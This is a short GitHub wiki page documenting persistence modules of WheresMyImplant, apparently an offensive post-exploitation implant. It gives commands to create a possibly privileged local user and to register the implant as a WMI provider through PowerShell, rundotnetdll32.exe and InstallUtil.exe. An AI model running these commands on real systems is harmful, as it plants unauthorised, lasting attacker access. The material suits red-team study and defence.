-
Notifications
You must be signed in to change notification settings - Fork 58
Persistence Modules
Alexander edited this page Oct 16, 2018
·
1 revision
Creates a local unprivileged user.
[WheresMyImplant.Persistence]::AddLocalUser("Username", "Password", "IsAdmin")
rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Persistence,AddLocalUser "Username","Password","IsAdmin"
Registers the Implant as WMI Provider
[WheresMyImplant.Persistence]::Install()
rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Persistence,Install
InstallUtil.exe /install WheresMyImplant.dll